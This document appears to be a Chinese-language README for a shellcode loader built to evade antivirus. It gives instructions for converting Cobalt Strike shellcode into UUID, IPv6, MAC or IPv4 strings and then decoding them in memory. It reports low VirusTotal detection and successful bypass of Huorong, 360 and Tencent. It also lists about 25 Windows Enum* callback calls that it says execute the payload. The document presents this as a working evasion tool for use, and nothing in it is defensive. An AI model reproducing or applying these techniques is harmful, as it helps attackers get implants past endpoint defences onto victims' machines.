VS2022、Windows SDK 10.0、C++14
| 版本号 | 写入内存方式 | VT查杀率 | 时间 | 火绒 | 360 | 腾讯 | 代码 |
|---|---|---|---|---|---|---|---|
| 0.1 | uuid转化(UuidFromStringA) | 4/68 | 2022-02-18 | √ | √ | √ | c++ |
| 0.2 | base64+uuid转化(UuidFromStringA) | 2/68 | 2022-02-18 | √ | √ | √ | c++ |
| 0.3 | ipv6转化(RtlIpv6StringToAddressA) | 2/68 | 2022-02-21 | √ | √ | √ | c++ |
| 0.4 | mac转化(RtlEthernetStringToAddressA) | 3/67 | 2022-02-21 | √ | √ | √ | c++ |
| 0.5 | ipv4转化(RtlIpv4StringToAddressA) | 2/66 | 2022-03-07 | √ | √ | √ | c++ |
使用Cobalt Strike生成X64位的shellcode
将shellcode替换至./v0.1/trans.py中的buf变量,并执行该脚本。(shellcode -> uuid)
python3 ./v0.1/trans.py将转换好的uuid,替换至./v0.1/main.cpp中的uuids字符串数组中
编译运行即可。
将shellcode替换至./v0.2/trans.py中的buf变量,并执行该脚本。(shellcode -> uuid -> base64)
python3 ./v0.2/trans.py将转换好的base64,替换至./v0.2/main.cpp中的uuids_base64数组中
编译运行即可。
先将shellcode转化为ipv6格式,客户端读取ipv6之后调用RtlIpv6StringToAddressA恢复成shellcode再通过回调函数加载至内存
将shellcode替换至./v0.3/trans.py中的buf变量,并执行该脚本。(shellcode -> ipv6)
python3 ./v0.3/trans.py将转换好的ipv6,替换至./v0.3/main.cpp中的ipv6数组中
编译运行即可。
将shellcode替换至./v0.4/trans.py中的buf变量,并执行该脚本。(shellcode -> mac)
python3 ./v0.4/trans.py将转换好的mac,替换至./v0.4/main.cpp中的mac_数组中
编译运行即可。
将shellcode替换至./v0.5/trans.py中的buf变量,并执行该脚本。(shellcode -> ipv4)
python3 ./v0.5/trans.py将转换好的ipv4,替换至./v0.5/main.cpp中的ipv4数组中
编译运行即可。
什么是UUID? 通用唯一标识符 ( Universally Unique Identifier ), 我们可以利用该机制将shellcode转化成uuid,并在运行程序时,将uuid重新转化成shellcode,加载至内存。
什么是回调函数? 回调函数(callback)是一个通过函数指针来调用的函数。
如何利用回调函数? 在windows系统中,有许多库函数需要传递一个回调函数,因此我们可以通过该机制,将恶意的shellcode加载至内存。
WINDOWS库中,可利用的回调函数,经过测试,以下均可以成功执行回调函数加载shellcode。
EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);
EnumTimeFormatsA((TIMEFMT_ENUMPROCA)ha, 0, 0);
EnumWindows((WNDENUMPROC)ha, 0);
EnumDesktopWindows(NULL,(WNDENUMPROC)ha, 0);
EnumThreadWindows(0, (WNDENUMPROC)ha, 0);
EnumSystemGeoID(0, 0, (GEO_ENUMPROC)ha);
EnumSystemLanguageGroupsA((LANGUAGEGROUP_ENUMPROCA)ha, 0, 0);
EnumUILanguagesA((UILANGUAGE_ENUMPROCA)ha, 0, 0);
EnumSystemCodePagesA((CODEPAGE_ENUMPROCA)ha, 0);
EnumDesktopsW(NULL,(DESKTOPENUMPROCW)ha, NULL);
EnumSystemCodePagesW((CODEPAGE_ENUMPROCW)ha, 0);
EnumDateFormatsA((DATEFMT_ENUMPROCA)ha, 0, 0);
EnumChildWindows(NULL, (WNDENUMPROC)ha, 0);
EnumTimeFormatsW((TIMEFMT_ENUMPROCW)ha, NULL, NULL);
EnumUILanguagesW((UILANGUAGE_ENUMPROCW)ha, NULL, NULL);
EnumTimeFormatsEx((TIMEFMT_ENUMPROCEX)ha, NULL, NULL, NULL);
EnumSystemLocalesW((LOCALE_ENUMPROCW)ha, NULL);
EnumSystemLocalesEx((LOCALE_ENUMPROCEX)ha, NULL, NULL, NULL);
EnumSystemLanguageGroupsW((LANGUAGEGROUP_ENUMPROCW)ha, NULL, NULL);
EnumSystemGeoNames(NULL, (GEO_ENUMNAMEPROC)ha, NULL);
EnumLanguageGroupLocalesW((LANGGROUPLOCALE_ENUMPROCW)ha, LGRPID_ARABIC, 0, NULL);
EnumLanguageGroupLocalesA((LANGGROUPLOCALE_ENUMPROCA)ha, LGRPID_ARABIC, 0, NULL);
EnumDateFormatsW((DATEFMT_ENUMPROCW)ha, NULL, NULL);
EnumDateFormatsExW((DATEFMT_ENUMPROCEXW)ha, NULL, NULL);
EnumDateFormatsExEx((DATEFMT_ENUMPROCEXEX)ha, NULL, NULL, NULL);
EnumDateFormatsExA((DATEFMT_ENUMPROCEXA)ha, NULL, NULL);IPV6同uuid的原理,先将恶意payload转化成ipv6格式,再通过windows系统库函数去解析成shellcode,再去加载至内存,达到免杀效果。
https://my.oschina.net/u/4079523/blog/5011399
https://cloud.tencent.com/developer/article/1819583
https://mp.weixin.qq.com/s/3Hit7a3hQ97XDHaMSZQ8cQ
https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumthreadwindows




